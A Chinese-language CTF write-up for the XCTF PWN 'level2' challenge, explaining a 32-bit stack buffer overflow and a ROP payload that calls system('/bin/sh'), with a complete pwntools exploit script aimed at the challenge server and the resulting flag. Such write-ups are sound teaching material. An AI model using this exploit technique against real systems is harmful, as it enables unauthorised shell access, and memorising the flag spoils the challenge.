XCTF-PWN-level2-面相返回的编程(ROP)

CTF · 03-21 · 100 人浏览

1.查看文件保护

Pasted image 20231216111743.png
ELF32,开启了NX

连接nc
Pasted image 20231216111858.png
让用户输入一个字符串后,返回“Hello World!”退出

2. IDA静态分析

(1)main

Pasted image 20231216112219.png
程序逻辑很简单,执行vulnerable_function()后,系统输出“Hello World!”

(2)vulnerable_function()

Pasted image 20231216113417.png
系统输出提示“echo Input:”
定义了一个长度为0x88的数组,但read函数允许用户输入0x100个字符,可以发生缓冲区溢出。

(3)整理思路

看看程序有没有跟题目level0一样的后门(借助程序自带的可执行代码来执行任意操作),Shift+F12 打开字符串内容窗口查看程序中的字符串,观察到存在 “system” 和 “/bin/sh” 字符串,这是解出题目的关键:
Pasted image 20231216113724.png
可是找不到跟level0中一样可以直接执行system("/bin/sh")的函数了,但是找到了_system函数可以getshell,这里的_system函数参数没有写,需要我们自己将 /bin/sh 作为参数传入 system 函数,考查的是 ROP 编程 :
Pasted image 20231216113818.png
我们可以通过强大的 rop 技术来获得系统权限,可以通过构造一个system("/bin/sh")的伪栈帧,vulnerable_function() 执行结束后返回到我们构造的伪栈帧去执行system("bin/sh"),这样就可以获取 shell。

Pasted image 20231216114625.png
双击数组buf跟进,发现buf距离返回地址(ebp)的偏移量为(0x88+4)
所以payload应该为(0x88+4) * b'a' + p32(_system函数地址) + p32(0)或b'c'*4 + p32(/bin/sh字符串地址)

3.解题

payload应该为(0x88+4) * b'a' + p32(_system函数地址) + p32(0)或b'c'*4 + p32(/bin/sh字符串地址)
exp脚本如下:

from pwn import *
r = remote("61.147.171.105", 51276) 
elf = ELF('./level2')
system_addr = elf.symbols['system']
binsh_addr = next(elf.search(b'/bin/sh'))
payload = b'a'*(0x88+4) + p32(system_addr) + b'c'*4 + p32(binsh_addr)
r.sendlineafter(b'Input:',payload)    # 在接收到Input:之后传入payload
r.interactive()

这里利用elf中的搜索功能来获取函数_system地址和字符串'/bin/sh'的地址
payload分析:

  • 1.0x88 是填充栈,增加 4 个 byte(目标应用为 32 位程序) 的 ‘a’ 则是用来填充 ebp 的,之后就是 retn 用 system 的地址覆盖,程序执行完之后就返回到 system;
  • 2.方法一:在进入 system 函数之后,正常的调用会有一个返回的地址这里使用 4 个 byte 的 cccc 覆盖掉(因为我们的目的是通过system("bin/sh")来获取shell,所以函数执行完后的返回地址可以任意);
  • 方法二:填充0,这里之所以有一个p32(0),是因为我们正常调用一个函数时,栈从高到底的结构为:参数 返回地址 ebp,所以这里我们需要提供一个虚假的返回地址以模拟正常的调用过程。
  • 3.最后就是将 /bin/sh 的地址作为 system() 的参数传入,如此一来栈溢出之后就会执行system("/bin/sh")。

执行exp:
Pasted image 20231216120737.png
得到flag,flag为:
cyberpeace{8483add834fb4121c5d6e306a070ed09}

CTF PWN ROP 栈溢出 XCTF
Theme Jasmine by Kent Liao